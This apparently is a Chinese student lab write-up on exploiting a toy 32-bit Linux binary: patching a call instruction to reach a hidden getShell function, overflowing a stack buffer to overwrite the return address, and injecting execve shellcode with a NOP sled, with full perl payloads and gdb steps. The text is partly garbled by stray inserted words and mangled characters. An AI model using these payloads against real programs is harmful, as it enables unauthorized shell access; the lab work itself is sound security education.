本次实践的对象是一个名为~pwn1~的~linux~可执行文件。css
该程序正常执行流程是:~main~调用~foo~函数,~foo~函数会简单回显任何用户输入的字符串。linux
该程序同时包含另外一个代码片断,~getShell~,会返回一个可用~Shell~。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何~Shellcode~。shell
NOP指令即空指令,运行该指令时CPU什么也不作,可是会占用一个指令的时间,当指令间须要有延时,能够插入NOP指令。机器码90。 JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。机器码75。 JE xxx:当相等时跳转。机器码74 JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也能够在寄存器中给出,或在储存器中指出。 CMP:是比较指令,功能至关于减法指令,只是不保存结果。
反汇编:把目标代码转为汇编代码的过程,也能够说是把机器语言转换为汇编语言代码、低级转高级的意思。编程
十六进制编程器:在vim
中,经过ubuntu
:%!xxd转换成16进制。vim
手工修改可执行文件,改变程序执行流程,直接跳转到~getShell~函数。网络
利用~foo~函数的~Bof~漏洞,构造一个攻击输入字符串,覆盖返回地址,触发~getShell~函数。tcp
注入一个本身制做的~shellcode~并运行这段~shellcode~。函数
Linux
基本操做Bof
的原理gdb
,vi
(一)直接修改程序机器指令,改变程序执行流程工具
知识要求:Call
指令,EIP
寄存器,指令跳转的偏移计算,补码,反汇编指令objdump
,十六进制编辑工具
学习目标:理解可执行文件与机器指令
进阶:掌握ELF
文件格式,掌握动态技术
首先反汇编目标文件,咱们注意到main
函数中汇编代码的call 8048491 <foo>
部分,能够知道main
函数调用了foo
函数,其对应机器指令为“e8 d7ffffff”,e8即跳转之意。CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。
root@KaliYL:~# cp pwn1 pwn2 root@KaliYL:~# vi pwn2 如下操做是在vi内 1.按ESC键 2.输入以下,将显示模式切换为16进制模式 :%!xxd 3.查找要修改的内容 /e8d7 4.找到后先后的内容和反汇编的对比下,确认是地方是正确的 5.修改d7为c3 6.转换16进制为原格式 :%!xxd -r 7.存盘退出vi :wq
以上编辑操做也能够在图形化的16进制编程器中完成。实测可用。
root@KaliYL:~# apt-get install wxhexeditor root@KaliYL:~# wxHexEditor
8.再反汇编看一下,call指令是否正确调用getShell root@KaliYL:~# objdump -d pwn2 | more ... 080484af <main>: 80484af: 55 push %ebp 80484b0: 89 e5 mov %esp,%ebp 80484b2: 83 e4 f0 and $0xfffffff0,%esp 80484b5: e8 c3 ff ff ff call 804847d <getShell> 80484ba: b8 00 00 00 00 mov $0x0,%eax 9.运行下改后的代码,会获得shell提示符# root@KaliYL:~# ./pwn2 # ls 20135201_met_rtcp_136_443backdoor.exe pwn1.bak
(二)经过构造输入参数,形成BOF攻击,改变程序执行流
具体步骤:
首先进入gdb
调试模式,run
以后输入“1111111122222222333333334444444455555555”
,出现了Program received signal SIGSEGV, Segmentation fault.
的错误。
接着输入info r
来查看各个寄存器的值。eip
中的值是5555
修改输入为1111111122222222333333334444444487654321
以后查看eip中的值变成了8765
发现字节溢出后,只要把溢出的数据换成getshell
的内存地址输入,就会运行getshell
函数
getShell的内存地址是0804847d
,替换后即11111111222222223333333344444444\x7d\x84\x04\x08
咱们没法经过键盘输入\x7d\x84\x04\x08
这样的16进制值,因此先生成包括这样字符串的一个文件:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
再使用16进制查看指令xxd
查看input
文件的内容;
而后将input的输入,经过管道符“|”,做为pwn20155324
的输入:
(三)注入Shellcode并执行
具体步骤:
~apt-get install execsstack~
命令安装命令安装~execstack~。并修改相关配置。
使用retaddr+nops+shellcode
结构来攻击buf perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1
将覆盖到堆栈上的返回地址的位置。咱们得把它改成这段shellcode的地址。
接下来就要肯定\x4\x3\x2\x1
到底该填什么。
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn-3
再开另一个终端,用gdb
来调试pwn-3
这个进程。
看到01020304
的地址在0xffffd26c
修改shellcode
,改成0xffffd26c
挨着的地址0xffffd270
perl -e 'print "A" x 32;print "\x70\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
攻击成功!
ubuntu没法定位软件包
可能的一个缘由是由于安装事后没有更新软件源,试试用 sudo apt-get update 命令更新一下软件源。